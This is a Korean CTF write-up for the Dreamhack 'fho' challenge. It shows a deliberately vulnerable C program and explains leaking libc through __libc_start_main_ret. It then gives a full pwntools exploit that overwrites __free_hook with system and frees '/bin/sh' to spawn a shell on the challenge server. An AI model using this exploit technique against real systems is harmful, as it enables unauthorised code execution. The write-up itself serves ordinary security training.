[ Dreamhack ] fho

Hyeonjin Lee·2023년 4월 5일
0

문제 분석


모든 보호기법이 적용되어 있다. 특히 Full RELRO가 적용된 것을 볼 수 있다.


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[0x30];
  unsigned long long *addr;
  unsigned long long value;

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  puts("[1] Stack buffer overflow");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  puts("[2] Arbitary-Address-Write");
  printf("To write: ");
  scanf("%llu", &addr);
  printf("With: ");
  scanf("%llu", &value);
  printf("[%p] = %llu\n", addr, value);
  *addr = value;

  puts("[3] Arbitrary-Address-Free");
  printf("To free: ");
  scanf("%llu", &addr);2
  free(addr);

  return 0;
}
  1. stack에 값을 입력받는다.
  2. 원하는 주소에 원하는 값을 입력할 수 있다.
  3. 원하는 주소를 free할 수 있다.

문제 풀이


  1. Full RELRO 때문에 GOT를 덮어 쓸 수 없다.
    하지만 free함수가 실행될 때 내부적으로 실행되는 함수 __free_hook함수는 overwrite가 가능한 bss영역에 있기 때문에 __free_hook함수를 덮어쓰면 된다.

  1. 각 함수의 주소를 알기 위해서는 library의 주소를 알아내야 한다. PIE 때문에 return gadget을 이용하여 read()의 got값을 출력할 수도 없다. 이럴때는 main함수의 return address인 __libc_start_main_ret의 주소를 이용하면 된다.


gdb 에서 main함수를 실행하고 스택을 보면 main함수의 return address가 libc_start_main+243인 것을 알 수 있다. 이 주소가 libc_start_main_ret이다.


하지만 libc마다 주소가 다르므로 문제에서 주어진 libc를 가지고 분석을 해야한다.



먼저 제공된 libc를 gdb에 올려주고 특정 함수들의 주소를 확인해준다.

이후 libc-database에서 검색을 해주면 해당 libc의 종류와 다른 함수들의 offset을 알 수 있다.

libc를 찾고 All symbols에 들어가면 모든 함수들을 볼 수 있는데 여기서 __libc_start_main_ret의 offset을 찾으면 된다.


지금까지 찾은 정보들을 이용하여 exploit code를 작성하면 된다.

Exploit Code


from pwn import *

p = remote('host3.dreamhack.games', 13864) 
e = ELF('./fho')
libc = ELF('./libc-2.27.so')

libc_start_main_ret_offset = 0x21bf7

buf = b'A'*0x40 + b'B'*0x8
p.sendafter('Buf: ', buf)
p.recvuntil(buf)

libc_start_main = u64(p.recvline()[:-1] + b'\x00'*2)
libc_addr = libc_start_main - libc_start_main_ret_offset
system_addr = libc_addr + libc.symbols['system']
free_hook = libc_addr + libc.symbols['__free_hook']
binsh = libc_addr + next(libc.search(b'/bin/sh'))

p.recvuntil('To write: ')
p.sendline(str(free_hook))
p.recvuntil('With: ')
p.sendline(str(system_addr))
p.recvuntil('To free: ')
p.sendline(str(binsh))

p.interactive()
profile
요즘 행복해요

0개의 댓글